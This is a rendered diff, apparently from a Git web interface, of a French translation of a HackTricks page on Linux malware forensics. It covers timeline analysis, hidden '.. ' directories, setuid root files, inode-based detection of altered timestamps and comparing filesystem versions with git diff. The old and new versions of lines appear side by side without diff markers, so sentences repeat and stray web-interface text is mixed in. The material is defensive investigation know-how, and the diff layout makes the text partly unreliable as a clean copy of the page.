Lors de l'enquête sur des incidents de logiciels malveillants, la structure du système de fichiers est une source d'information cruciale, révélant à la fois la séquence des événements et le contenu des logiciels malveillants. Cependant, les auteurs de logiciels malveillants développent des techniques pour entraver cette analyse, comme la modification des horodatages des fichiers ou l'évitement du système de fichiers pour le stockage de données.
|
||||
Lors de l'enquête sur des incidents de logiciels malveillants, la structure du système de fichiers est une source d'information cruciale, révélant à la fois la séquence des événements et le contenu des logiciels malveillants. Cependant, les auteurs de logiciels malveillants développent des techniques pour entraver cette analyse, comme la modification des horodatages de fichiers ou l'évitement du système de fichiers pour le stockage de données.
|
||||
|
||||
Pour contrer ces méthodes anti-forensiques, il est essentiel de :
|
||||
|
||||
- **Effectuer une analyse chronologique approfondie** en utilisant des outils comme **Autopsy** pour visualiser les chronologies des événements ou `mactime` de **Sleuth Kit** pour des données chronologiques détaillées.
|
||||
- **Effectuer une analyse de chronologie approfondie** en utilisant des outils comme **Autopsy** pour visualiser les chronologies des événements ou `mactime` de **Sleuth Kit** pour des données de chronologie détaillées.
|
||||
- **Enquêter sur des scripts inattendus** dans le $PATH du système, qui pourraient inclure des scripts shell ou PHP utilisés par les attaquants.
|
||||
- **Examiner `/dev` pour des fichiers atypiques**, car il contient traditionnellement des fichiers spéciaux, mais peut abriter des fichiers liés aux logiciels malveillants.
|
||||
- **Rechercher des fichiers ou des répertoires cachés** avec des noms comme ".. " (point point espace) ou "..^G" (point point contrôle-G), qui pourraient dissimuler un contenu malveillant.
|
||||
- **Identifier les fichiers setuid root** en utilisant la commande : `find / -user root -perm -04000 -print` Cela trouve des fichiers avec des permissions élevées, qui pourraient être abusés par des attaquants.
|
||||
- **Identifier les fichiers setuid root** en utilisant la commande : `find / -user root -perm -04000 -print` Cela trouve des fichiers avec des permissions élevées, qui pourraient être abusées par des attaquants.
|
||||
- **Examiner les horodatages de suppression** dans les tables d'inodes pour repérer des suppressions massives de fichiers, ce qui pourrait indiquer la présence de rootkits ou de trojans.
|
||||
- **Inspecter les inodes consécutifs** pour des fichiers malveillants à proximité après en avoir identifié un, car ils peuvent avoir été placés ensemble.
|
||||
- **Vérifier les répertoires binaires courants** (_/bin_, _/sbin_) pour des fichiers récemment modifiés, car ceux-ci pourraient avoir été altérés par des logiciels malveillants.
|
||||
@ -328,8 +354,8 @@ ls -laR --sort=time /bin```
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
> [!NOTE]
|
||||
> Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire en sorte que les **fichiers apparaissent** **légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers dans le même dossier, mais que l'**inode** est **inattendu plus grand**, alors les **horodatages de ce fichier ont été modifiés**.
|
||||
> [!TIP]
|
||||
> Notez qu'un **attaquant** peut **modifier** le **temps** pour faire en sorte que les **fichiers apparaissent** **légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en **même temps** que le reste des fichiers dans le même dossier, mais que l'**inode** est **inattendu plus grand**, alors les **horodatages de ce fichier ont été modifiés**.
|
||||
|
||||
## Comparer les fichiers de différentes versions de système de fichiers
|
||||
|
||||
@ -355,7 +381,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
- `D`: Fichiers supprimés
|
||||
- `M`: Fichiers modifiés
|
||||
- `R`: Fichiers renommés
|
||||
- `T`: Changements de type (par exemple, fichier vers symlink)
|
||||
- `T`: Changements de type (par exemple, fichier vers lien symbolique)
|
||||
- `U`: Fichiers non fusionnés
|
||||
- `X`: Fichiers inconnus
|
||||
- `B`: Fichiers corrompus
|
||||
@ -367,4 +393,6 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
- **Livre : Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
- [Red Canary – Patching for persistence: How DripDropper Linux malware moves through the cloud](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user